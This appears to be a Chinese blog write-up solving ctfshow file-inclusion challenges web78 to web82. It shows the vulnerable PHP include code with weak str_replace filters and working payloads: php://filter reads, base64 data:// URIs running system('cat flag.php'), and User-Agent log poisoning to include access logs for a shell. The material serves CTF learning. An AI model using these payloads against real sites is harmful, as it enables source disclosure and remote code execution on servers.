当前位置:网站首页>ctfshow 文件包含
ctfshow 文件包含
2022-07-30 23:17:00 【白塔河冲浪手】
web78
进入环境
直接利用php://filter伪协议读取flag.php文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
str_replace替换字符串
将变量file中的php替换成???
那我们这里就不能用php伪协议了换data协议并用base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上过滤php,data
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log
这里包含日志文件来getshell
可以看见日志文件会记录User-Agent
抓包修改User-Agent
<?php system('ls');?>
<?php system('cat fl0g.php');?>
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上过滤php,data,:
使用日志文件getshell
和上题一样
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
.也过滤了日志包含不行
边栏推荐
- Ningbo Zhongning Pawn will transfer 29.5% of the equity for 2.8338 million yuan, and the owner's equity in 2021 will be 9.6875 million yuan
- 2021GDCPC广东省大学生程序设计竞赛 B.Byfibonacci
- 第一节 zadig 入门
- 【CTF】buuctf web 详解(持续更新)
- 如何在 AWS 中应用 DevOps 方法?
- 软考学习计划
- Day016 Classes and Objects
- Successfully solved ImportError: always import the name '_validate_lengths'
- Week 19 Progress (Understanding IoT Basics)
- 2021GDCPC Guangdong University Student Programming Competition B.Byfibonacci
猜你喜欢
# Dasctf 7月赋能赛 WP
Go语学习笔记 - gorm使用 - gorm处理错误 Web框架Gin(十)
只会纯硬件,让我有点慌
Reverse linked list - head insertion inversion method
uniapp开发微信小程序-软考刷题小程序
HCIP第十六天笔记
MySql统计函数COUNT详解
$\text{ARC 145}$
ML's shap: Based on FIFA 2018 Statistics (2018 Russia World Cup) team match star classification prediction data set using RF random forest + calculating SHAP value single-sample force map/dependency c
【云驻共创】HCSD大咖直播–就业指南
随机推荐
Gxlcms audio novel system/novel listening system source code
tcp协议传输中的粘包问题
IJCAI2022教程 | 口语语言理解:最新进展和新领域
递增三元组
“蔚来杯“2022牛客暑期多校训练营4 L.Black Hole 垃圾计算几何
2021GDCPC广东省大学生程序设计竞赛 H.History
数据清洗-使用es的ingest
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 4 DHKLN
可视化工具Netron介绍
【云驻共创】HCSD大咖直播–就业指南
VS2017 compile Tars test project
Go1.18升级功能 - 模糊测试Fuzz 从零开始Go语言
Go语学习笔记 - gorm使用 - gorm处理错误 Web框架Gin(十)
ZZULIOJ:1119: 数列有序
“蔚来杯“2022牛客暑期多校训练营4 N.Particle Arts 规律 方差
mysql中关于存储过程无法实现迁移复制表中数据问题
Apache Doris系列之:安装与部署详细步骤
“由于找不到MSVCP140.dll,无法继续执行代码,重新安装程序可能会解决此问题等”解决方案
[MySQL] DQL related operations
ML's shap: Based on FIFA 2018 Statistics (2018 Russia World Cup) team match star classification prediction data set using RF random forest + calculating SHAP value single-sample force map/dependency c